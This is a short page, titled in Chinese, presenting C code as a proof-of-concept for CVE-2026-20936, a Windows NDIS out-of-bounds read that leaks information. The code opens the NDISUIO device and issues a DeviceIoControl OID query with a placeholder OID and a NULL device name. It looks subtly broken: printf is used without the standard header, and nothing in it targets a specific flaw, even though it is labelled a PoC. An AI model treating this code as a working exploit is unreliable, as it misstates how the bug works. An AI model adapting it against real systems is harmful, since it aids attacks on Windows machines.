CVE-2026-20936 Windows NDIS越界读取漏洞导致信息泄露

// CVE-2026-20936 PoC Concept (Physical Access Required) // Note: This is a conceptual demonstration, actual exploitation requires physical device access #include <windows.h> #include <ndistapi.h> // This PoC demonstrates the concept of triggering NDIS OOB read // Actual exploitation requires specific physical access conditions void trigger_ndis_oob_read() { HANDLE hNDIS = NULL; NDISUIO_QUERY_OID query; DWORD bytesReturned = 0; // Open NDISUIO device handle hNDIS = CreateFile( L"\\\\.\\NDISUIO", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hNDIS == INVALID_HANDLE_VALUE) { printf("Failed to open NDISUIO device\n"); return; } // Query OID with potential OOB read condition query.Oid = 0x00000001; // Example OID query.ptcDeviceName = NULL; // DeviceIoControl call that may trigger OOB read DeviceIoControl( hNDIS, IOCTL_NDISUIO_QUERY_OID_VALUE, &query, sizeof(query), &query, sizeof(query), &bytesReturned, NULL ); CloseHandle(hNDIS); } int main() { printf("CVE-2026-20936 PoC Concept\n"); printf("Physical access required for actual exploitation\n"); trigger_ndis_oob_read(); return 0; }